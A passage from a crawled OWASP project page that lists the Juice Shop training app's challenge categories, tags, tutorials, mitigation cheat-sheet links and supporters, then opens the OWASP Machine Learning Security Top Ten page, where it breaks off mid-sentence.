DoS, NoSQL Exfiltration, NoSQL Manipulation, SSTi, System Prompt Extraction, User Credentials |\n| Insecure Deserialization | 3 | Blocked RCE DoS, Memory Bomb, Successful RCE DoS |\n| Miscellaneous | 6 | Mass Dispel, Privacy Policy, Score Board, Security Advisory, Security Policy, Wallet Depletion |\n| Observability Failures | 4 | Access Log, Exposed Metrics, Leaked Access Logs, Misplaced Signature File |\n| Security Misconfiguration | 5 | Cross-Site Imaging, Deprecated Interface, Error Handling, Login Support Team, Misplaced IaC Files |\n| Security through Obscurity | 3 | Blockchain Hype, Privacy Policy Inspection, Steganography |\n| Sensitive Data Exposure | 17 | Confidential Document, Email Leak, Exposed Credentials, Forgotten Developer Backup, Forgotten Sales Backup, GDPR Data Theft, Leaked API Key, Leaked Unsafe Product, Login Amy, Login Cloud Admin, Login MC SafeSearch, Meta Geo Stalking, NFT Takeover, Password Hash Leak, Reset Uvogin's Password, Retrieve Blueprint, Visual Geo Stalking |\n| Unvalidated Redirects | 2 | Allowlist Bypass, Outdated Allowlist |\n| Vulnerable Components | 9 | Arbitrary File Write, Forged Signed JWT, Frontend Typosquatting, Legacy Typosquatting, Local File Read, Supply Chain Attack, Unsigned JWT, Vulnerable Infrastructure, Vulnerable Library |\n| XSS | 9 | API-only XSS, Bonus Payload, CSP Bypass, Client-side XSS Protection, DOM XSS, HTTP-Header XSS, Reflected XSS, Server-side XSS Protection, Video XSS |\n| XXE | 2 | XXE Data Access, XXE DoS |\n| **Total Σ** | 116 | |\n\n## Challenge Tags\n\nTags do not represent vulnerability categories but serve as additional\nmeta information for challenges. They mark certain commonalities or\nspecial types of challenges - like those lacking seriousness or ones\nthat probably need some scripting/automation etc.\n\n| Tag | # | Challenges |\n| --- | --- | --- |\n| AI/LLM | 4 | AI Debugging, Chatbot Prompt Injection, Greedy Chatbot Manipulation, System Prompt Extraction |\n| Brute Force | 5 | CAPTCHA Bypass, Extra Language, Login Support Team, Password Strength, Reset Morty's Password |\n| Code Analysis | 9 | Blockchain Hype, Forged Coupon, Imaginary Challenge, Login Bjoern, Login Support Team, Outdated Allowlist, SSRF, SSTi, Score Board |\n| Contraption | 9 | Blockchain Hype, Cross-Site Imaging, Deprecated Interface, Easter Egg, Forgotten Developer Backup, Forgotten Sales Backup, Misplaced Signature File, NFT Takeover, SSTi |\n| Danger Zone | 17 | API-only XSS, Arbitrary File Write, Blocked RCE DoS, CSP Bypass, Client-side XSS Protection, HTTP-Header XSS, Local File Read, Memory Bomb, NoSQL DoS, NoSQL Exfiltration, Reflected XSS, SSTi, Server-side XSS Protection, Successful RCE DoS, Video XSS, XXE Data Access, XXE DoS |\n| Good Practice | 4 | Exposed Metrics, Misplaced Signature File, Privacy Policy, Security Policy |\n| Good for Demos | 14 | Admin Section, Chatbot Prompt Injection, Confidential Document, DOM XSS, Easter Egg, Forged Coupon, Forgotten Developer Backup, Login Admin, NFT Takeover, Nested Easter Egg, Privacy Policy, Privacy Policy Inspection, Reflected XSS, View Basket |\n| OSINT | 15 | Bjoern's Favorite Pet, Leaked Access Logs, Leaked Unsafe Product, Local File Read, Login Amy, Login MC SafeSearch, Meta Geo Stalking, Reset Bender's Password, Reset Bjoern's Password, Reset Jim's Password, Reset Morty's Password, Reset Uvogin's Password, Supply Chain Attack, Visual Geo Stalking, Vulnerable Library |\n| Prerequisite | 7 | Allowlist Bypass, Arbitrary File Write, Deprecated Interface, Error Handling, Forgotten Developer Backup, Misplaced IaC Files, Poison Null Byte |\n| Shenanigans | 10 | Bonus Payload, Easter Egg, Imaginary Challenge, Leaked Unsafe Product, Login MC SafeSearch, Missing Encoding, Nested Easter Egg, Premium Paywall, Privacy Policy Inspection, Steganography |\n| Tutorial | 11 | Bonus Payload, DOM XSS, Forged Feedback, Login Admin, Login Bender, Login Jim, Password Strength, Privacy Policy, Reflected XSS, Score Board, View Basket |\n| Web3 | 5 | Blockchain Hype, Mint the Honey Pot, NFT Takeover, Wallet Depletion, Web3 Sandbox |\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Hacking Instructor Tutorials\n\nClick on a link in the table below to launch a\n[step-by-step tutorial](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_hacking_instructor)\nfor that particular challenge on our public\n[https://demo.owasp-juice.shop](https://demo.owasp-juice.shop) instance. If you are entirely new to the\nJuice Shop, we recommend doing them in the listed order. With the\n(optional)\n[Tutorial Mode](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_tutorial_mode)\nyou can even enforce that the 13 tutorial challenges\nhave to be performed gradually in order to unlock the other 103 challenges.\n\n| Challenge | Category | Difficulty |\n| --- | --- | --- |\n| [Score Board](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Score Board) | Miscellaneous | ⭐ |\n| [DOM XSS](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=DOM XSS) | XSS | ⭐ |\n| [Bonus Payload](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Bonus Payload) | XSS | ⭐ |\n| [Privacy Policy](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Privacy Policy) | Miscellaneous | ⭐ |\n| [Reflected XSS](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Reflected XSS) | XSS | ⭐⭐ |\n| [Exposed Credentials](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Exposed Credentials) | Sensitive Data Exposure | ⭐⭐ |\n| [Login Admin](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Login Admin) | Injection | ⭐⭐ |\n| [Admin Section](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Admin Section) | Broken Access Control | ⭐⭐ |\n| [Password Strength](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Password Strength) | Broken Authentication | ⭐⭐ |\n| [View Basket](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=View Basket) | Broken Access Control | ⭐⭐ |\n| [Forged Feedback](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Forged Feedback) | Broken Access Control | ⭐⭐⭐ |\n| [Login Jim](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Login Jim) | Injection | ⭐⭐⭐ |\n| [Login Bender](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Login Bender) | Injection | ⭐⭐⭐ |\n| [Coding Challenges](https://demo.owasp-juice.shop/#/hacking-instructor?challenge=Coding%20Challenges) | n/a | n/a |\n\n## Coding Challenges\n\nFor 35 challenges an additional [coding challenge](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_coding_challenges) is available. In their “Find It” phase they teach\nspotting vulnerabilities in the actual codebase of the Juice Shop. In the “Fix It” phase the user then chooses the most appropriate\nfix from a list. Solve any of the hacking challenges below to enable a button on the Score Board that launches the corresponding\ncoding challenge:\n\n| Category | # | Challenges |\n| --- | --- | --- |\n| Broken Access Control | 4 | Admin Section, Forged Review, Product Tampering, Web3 Sandbox |\n| Broken Anti Automation | 1 | Reset Morty's Password |\n| Broken Authentication | 5 | Bjoern's Favorite Pet, Password Strength, Reset Bender's Password, Reset Bjoern's Password, Reset Jim's Password |\n| Improper Input Validation | 2 | Admin Registration, Mint the Honey Pot |\n| Injection | 8 | Chatbot Prompt Injection, Database Schema, Greedy Chatbot Manipulation, Login Admin, Login Bender, Login Jim, NoSQL Manipulation, User Credentials |\n| Miscellaneous | 2 | Score Board, Wallet Depletion |\n| Observability Failures | 2 | Access Log, Exposed Metrics |\n| Security through Obscurity | 1 | Blockchain Hype |\n| Sensitive Data Exposure | 4 | Confidential Document, Login Cloud Admin, NFT Takeover, Reset Uvogin's Password |\n| Unvalidated Redirects | 2 | Allowlist Bypass, Outdated Allowlist |\n| Vulnerable Components | 1 | Vulnerable Infrastructure |\n| XSS | 3 | API-only XSS, Bonus Payload, DOM XSS |\n| **Total Σ** | 35 | |\n\n## Mitigation Links\n\nFor many solved challenges links to mitigation techniques are presented on the Score Board by offering a link\nto a corresponding [OWASP Cheat Sheet](https://cheatsheetseries.owasp.org/) explaining how to avoid that kind of vulnerability in the first place. The\nfollowing cheat sheets are referred to by OWASP Juice Shop as mitigation links:\n\n- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Broken Access Control Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Broken_Access_Control_Cheat_Sheet.html)\n- [Choosing and Using Security Questions Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n- [Credential Stuffing Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [Cryptographic Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n- [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n- [Error Handling Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html)\n- [Forgot Password Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n- [Infrastructure as Code Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [JSON Web Token for Java Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [Multifactor Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html)\n- [REST Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html)\n- [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [Secrets Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n- [Server Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n- [User Privacy Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [Vulnerability Disclosure Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html)\n- [Vulnerable Dependency Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n- [XS Leaks Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html)\n- [https://genai.owasp.org/llmrisk/llm01-prompt-injection/](https://genai.owasp.org/llmrisk/llm01-prompt-injection/)\n- [https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/](https://genai.owasp.org/llmrisk/llm072025-system-prompt-leakage/)\n- [https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure)\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## CTF Extension\n\nThe Node package\n[`juice-shop-ctf-cli`](https://www.npmjs.com/package/juice-shop-ctf-cli)\nhelps you to prepare\n[Capture the Flag](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security)\nevents with the OWASP Juice Shop challenges for different popular CTF\nframeworks. This interactive utility allows you to populate a CTF game\nserver in a matter of minutes.\n\n### Supported CTF Frameworks\n\nThe following open source CTF frameworks are supported by\n`juice-shop-ctf-cli`:\n\n- [CTFd](https://github.com/CTFd/CTFd)\n- [FBCTF](https://github.com/facebook/fbctf)\n- [RootTheBox](https://github.com/moloch--/RootTheBox)\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Official Companion Guide\n\n[Pwning OWASP Juice Shop](https://leanpub.com/juice-shop) is the\nofficial companion guide for this project. It will give you a complete\noverview of the vulnerabilities found in the application including hints\nhow to spot and exploit them. In the appendix you will even find\ncomplete step-by-step solutions to every challenge.\n\nThe ebook is published under\n[CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/)\nand is online-readable **for free** at\n[https://pwning.owasp-juice.shop](https://pwning.owasp-juice.shop). The latest officially released\nedition is also available **for free** at\n[https://leanpub.com/juice-shop](https://leanpub.com/juice-shop) in PDF, Kindle and ePub format.\n\n## Official Multi User Platform\n\nMulti User Juice Shop Platform to run separate Juice Shop instances for training or CTF participants on a central Kubernetes cluster. [MultiJuicer](https://github.com/juice-shop/multi-juicer) comes with a built-in leader board and its own dedicated Juice Balancer for instance isolation.\n\n## Official Jingle\n\nOfficial\n[OWASP Juice Shop Jingle](https://soundcloud.com/braimee/owasp-juice-shop-jingle)\nwritten and performed by\n[Brian Johnson](https://github.com/braimee)\n\n## Endorsed Open Source Projects\n\n| Project | Description |\n| --- | --- |\n| [https://github.com/wurstbrot/shake-logger](https://github.com/wurstbrot/shake-logger) | Demo to show the dangers of XSS holes combined with bad Content Security Policy using Harlem Shake and a Keylogger against the Juice Shop ([📺YouTube](https://youtu.be/Msi52Kicb-w)) |\n\n*The tools listed above are provided by third parties outside the\nOWASP Juice Shop project scope. For support or feature requests please\nuse the support channels or issue trackers mentioned by these projects.*\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Project Supporters\n\n> You can attribute your donation to the OWASP Juice Shop project by\n> using\n> [this link](/donate?reponame=www-project-juice-shop&title=OWASP+Juice+Shop)\n> or the green “Donate”-button while on any tab of the Juice Shop\n> project page!\n\n### Top Supporters\n\n*In order to be recognized as a “Top Supporter” a company\nmust have donated $1000 or more a) to OWASP while attributing it to\nJuice Shop or b) as a restricted gift to OWASP Juice Shop in the last 12\nmonths.*\n\n#### All Corporate Supporters\n\n- [secuvera](https://www.secuvera.de/) (2018/2019/2023)\n- [mindsetters OG](https://www.mindsetters.com/) (2023)\n- [Heyhack](https://heyhack.com) (2022)\n- [Schutzwerk](https://www.schutzwerk.com/) (2022)\n- [New Work SE](https://www.new-work.se/en/about-new-work-se) (2019/2021)\n- [RandoriSec](https://randorisec.fr/) (2021)\n- [Wild West Hackin’ Fest](https://wildwesthackinfest.com/) (2020)\n- [Denim Group](http://www.denimgroup.com/) (2018-2019)\n- [PlexTrac](https://plextrac.com) (2019)\n- [Silpion](https://silpion.de) (2019)\n- [iteratec](https://www.iteratec.de/) (2017)\n- [eSailors](https://www.esailors.de/) (2016)\n- [XING](https://corporate.xing.com/en/about-xing/security/) (2016)\n\n#### All Individual Supporters\n\n- Björn Kimminich\n- Jeroen Willemsen\n- Soron Foster\n- Bendik Mjaaland\n- Timo Pagel\n- Benjamin Pfänder\n- Kevin Chung\n- Brian Johnson\n- Omar Santos\n- Merlyn Albery\n- Alper Basaran\n- Jediah Logiodice\n- Kenyo Kaneda\n- Ian Sexton\n- Ray Gagnon\n- David @ HailBytes\n- Brevio GmbH\n- TestCollab\n- *You want to appear on this list?* [Donate to OWASP here! 🤲](/donate?reponame=www-project-juice-shop&title=OWASP+Juice+Shop)\n\n#### All Corporate-sponsored Code Contributions\n\n- [#1221](https://github.com/juice-shop/juice-shop/pull/1221) , [#1356](https://github.com/juice-shop/juice-shop/pull/1356) : [Panasonic Information Systems Company Europe](https://application.job.panasonic.eu/data/ruP0pHQvHrGZJKvL/rc.php?nav=jobsearch&custval12=ite&lang=EN&custval11=PBSEU_GER) (2019-2020)\n\n*In order to be recognized as a “Corporate-sponsored Code\nContribution” an official written confirmation of waiving all IP to the\ncontributed code must be formally submitted to the OWASP\nFoundation.*\n\n#### LeanPub Royalties\n\n$1,251.68 of royalties from\n[Björn Kimminich](https://kimminich.de)’s eBook have been donated to the\nproject between 09/2017 and 07/2019.\n\n#### MultiJuicer Maintenance\n\nMultiJuicer was originally developed (and is still maintained primarily) by [iteratec](https://www.iteratec.com/en/). It became an official part of the OWASP Juice Shop project 05/2023.\n\n---\n\n*The OWASP Foundation is very grateful for the support by the\nindividuals and organizations listed. However, please note, the OWASP\nFoundation is strictly vendor neutral and does not endorse any of its\nsupporters.*\n\n---\n\n[Watch](https://github.com/juice-shop/juice-shop/subscription) [Star](https://github.com/juice-shop/juice-shop)", "znaku_textu": 32300, "slov": 3232, "odkazu": 242, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:29", "sha256": "34e01c782a518eedafaa65a8698ea1441b416fbd04f76a71387fe237fec2c9ba", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://owasp-juice.shop/", "https://github.com/juice-shop/juice-shop/releases/latest", "https://github.com/juice-shop/juice-shop/stargazers", "https://twitter.com/owasp_juiceshop", "https://www.bestpractices.dev/projects/223", "https://github.com/juice-shop/juice-shop/blob/master/CODE_OF_CONDUCT.md", "https://twitter.com/dschadow/status/706781693504589824", "https://github.com/dschadow", "https://twitter.com/shehackspurple/status/907335357775085568", "https://twitter.com/shehackspurple", "https://youtu.be/TXAztSpYpvE?t=26m35s", "https://twitter.com/vanderaj", "https://twitter.com/kramse/status/1073168529405472768", "https://twitter.com/kramse", "https://twitter.com/coderPatros/status/1199268774626488320", "https://twitter.com/coderPatros", "https://github.com/juice-shop/juice-shop/graphs/contributors", "https://crowdin.com/project/owasp-juice-shop", "https://github.com/juice-shop/juice-shop/blob/master/HALL_OF_FAME.md", "https://github.com/juice-shop/juice-shop/blob/master/LICENSE", "http://nodejs.org/", "https://www.docker.com/", "https://www.vagrantup.com/downloads.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part1/running.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part4/customization.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part4/ctf.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html", "https://pwning.owasp-juice.shop/companion-guide/latest/part4/monitoring.html", "https://sourceforge.net/projects/juice-shop/", "https://hub.docker.com/r/bkimminich/juice-shop", "https://github.com/juice-shop/juice-shop/releases/tag/v20.2.0", "https://github.com/juice-shop/juice-shop/releases/tag/v20.1.1", "https://github.com/juice-shop/juice-shop/releases/tag/v20.1.0", "https://github.com/juice-shop/juice-shop/releases/tag/v20.0.0", "https://github.com/juice-shop/juice-shop/releases/tag/v19.2.1", "https://github.com/juice-shop/juice-shop/releases/tag/v19.2.0", "https://github.com/juice-shop/juice-shop/releases/tag/v19.1.1", "https://github.com/juice-shop/juice-shop/releases/tag/v19.1.0", "https://github.com/juice-shop/juice-shop/releases/tag/v19.0.0", "https://github.com/juice-shop/juice-shop/releases/tag/v18.0.0", "https://github.com/juice-shop/juice-shop/releases/tag/v17.3.0", "https://github.com/juice-shop/juice-shop/releases/tag/v17.2.0", "https://github.com/juice-shop/juice-shop/releases/tag/v17.1.1", "https://github.com/juice-shop/juice-shop/releases/tag/v17.1.0", "https://github.com/juice-shop/juice-shop/releases/tag/v17.0.0", "https://github.com/juice-shop/juice-shop/releases/tag/v16.0.1", "https://github.com/juice-shop/juice-shop/releases/tag/v16.0.0", "https://github.com/juice-shop/juice-shop/releases/tag/v15.3.0", "https://github.com/juice-shop/juice-shop/releases/tag/v15.2.1", "https://github.com/juice-shop/juice-shop/releases/tag/v15.2.0", "https://github.com/juice-shop/juice-shop/releases/tag/v15.1.0", "https://github.com/juice-shop/juice-shop/releases/tag/v15.0.0", "https://github.com/juice-shop/juice-shop-ctf/releases/latest", "https://www.npmjs.com/package/juice-shop-ctf-cli", "https://hub.docker.com/r/bkimminich/juice-shop-ctf", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v12.0.0", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v11.1.0", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v11.0.0", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v10.0.1", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v10.0.0", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v9.1.2", "https://github.com/juice-shop/juice-shop-ctf/releases/tag/v9.1.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.3.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.3.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.2.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.1.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0-rc.2", "https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0-rc.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v9.2.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v9.1.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v9.0.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.3.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.2.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.1.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.5", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.4", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.3", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.2", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.0", "https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.2", "https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.1", "https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.0", "https://qlty.sh/gh/juice-shop/projects/juice-shop", "https://coveralls.io/github/juice-shop/juice-shop", "https://cwe.mitre.org/", "https://demo.owasp-juice.shop/", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Broken_Access_Control_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10", "titulek": "OWASP Machine Learning Security Top Ten | OWASP Foundation", "h1": "OWASP Machine Learning Security Top Ten", "popis": "OWASP Machine Learning Security Top Ten on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Machine Learning Security Top Ten on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Machine Learning Security Top Ten"}, {"uroven": 3, "text": "📌 Important Information"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Top 10 Machine Learning Security Risks"}, {"uroven": 2, "text": "Communication"}, {"uroven": 2, "text": "Contribution"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Purpose"}, {"uroven": 2, "text": "Target Audience"}, {"uroven": 2, "text": "Scope"}, {"uroven": 2, "text": "Governance"}, {"uroven": 2, "text": "0"}, {"uroven": 2, "text": "1"}, {"uroven": 2, "text": "2"}, {"uroven": 2, "text": "3"}, {"uroven": 2, "text": "4"}, {"uroven": 2, "text": "5"}, {"uroven": 2, "text": "6"}, {"uroven": 2, "text": "7"}, {"uroven": 2, "text": "8"}, {"uroven": 2, "text": "9"}, {"uroven": 2, "text": "A"}, {"uroven": 2, "text": "B"}, {"uroven": 2, "text": "C"}, {"uroven": 2, "text": "D"}, {"uroven": 2, "text": "E"}, {"uroven": 2, "text": "F"}, {"uroven": 2, "text": "G"}, {"uroven": 2, "text": "H"}, {"uroven": 2, "text": "I"}, {"uroven": 2, "text": "J"}, {"uroven": 2, "text": "K"}, {"uroven": 2, "text": "L"}, {"uroven": 2, "text": "M"}, {"uroven": 2, "text": "N"}, {"uroven": 2, "text": "O"}, {"uroven": 2, "text": "P"}, {"uroven": 2, "text": "Q"}, {"uroven": 2, "text": "R"}, {"uroven": 2, "text": "S"}, {"uroven": 2, "text": "T"}, {"uroven": 2, "text": "U"}, {"uroven": 2, "text": "V"}, {"uroven": 2, "text": "W"}, {"uroven": 2, "text": "X"}, {"uroven": 2, "text": "Y"}, {"uroven": 2, "text": "Z"}], "markdown": "# OWASP Machine Learning Security Top Ten\n\n### 📌 ***Important Information***\n\n*The current version of this work is in draft and is being modified frequently.\nPlease refer to the\n[project wiki](https://github.com/OWASP/www-project-machine-learning-security-top-10/wiki)\nfor information on how to contribute and project release timelines.*\n\n## Overview\n\nWelcome to the repository for the OWASP Machine Learning Security Top 10\nproject! The primary aim of the OWASP Machine Learning Security Top 10 project\nis to deliver an overview of the top 10 security issues of machine learning\nsystems. More information on the project scope and target audience is available\nin our\n[project working group charter](https://owasp.org/www-project-machine-learning-security-top-10#div-charter)\n\n## Top 10 Machine Learning Security Risks\n\n- [**ML01:2023 Input Manipulation Attack**](/www-project-machine-learning-security-top-10/docs/ML01_2023-Input_Manipulation_Attack.html)\n- [**ML02:2023 Data Poisoning Attack**](/www-project-machine-learning-security-top-10/docs/ML02_2023-Data_Poisoning_Attack.html)\n- [**ML03:2023 Model Inversion Attack**](/www-project-machine-learning-security-top-10/docs/ML03_2023-Model_Inversion_Attack.html)\n- [**ML04:2023 Membership Inference Attack**](/www-project-machine-learning-security-top-10/docs/ML04_2023-Membership_Inference_Attack.html)\n- [**ML05:2023 Model Theft**](/www-project-machine-learning-security-top-10/docs/ML05_2023-Model_Theft.html)\n- [**ML06:2023 AI Supply Chain Attacks**](/www-project-machine-learning-security-top-10/docs/ML06_2023-AI_Supply_Chain_Attacks.html)\n- [**ML07:2023 Transfer Learning Attack**](/www-project-machine-learning-security-top-10/docs/ML07_2023-Transfer_Learning_Attack.html)\n- [**ML08:2023 Model Skewing**](/www-project-machine-learning-security-top-10/docs/ML08_2023-Model_Skewing.html)\n- [**ML09:2023 Output Integrity Attack**](/www-project-machine-learning-security-top-10/docs/ML09_2023-Output_Integrity_Attack.html)\n- [**ML10:2023 Model Poisoning**](/www-project-machine-learning-security-top-10/docs/ML10_2023-Model_Poisoning.html)\n\n## Communication\n\n- [Google Groups](https://groups.google.com/u/1/a/owasp.org/g/project-machine-learning-security-top-ten)\n- [OWASP Slack](https://owasp.org/slack/invite) #project-mlsec-top-10\n- [Github Discussions](https://github.com/OWASP/www-project-machine-learning-security-top-10/discussions)\n- [Meeting Notes](https://github.com/OWASP/www-project-machine-learning-security-top-10/issues?q=label%3Ameeting)\n\n## Contribution\n\nThe initial version of the Machine Learning Security Top 10 list was 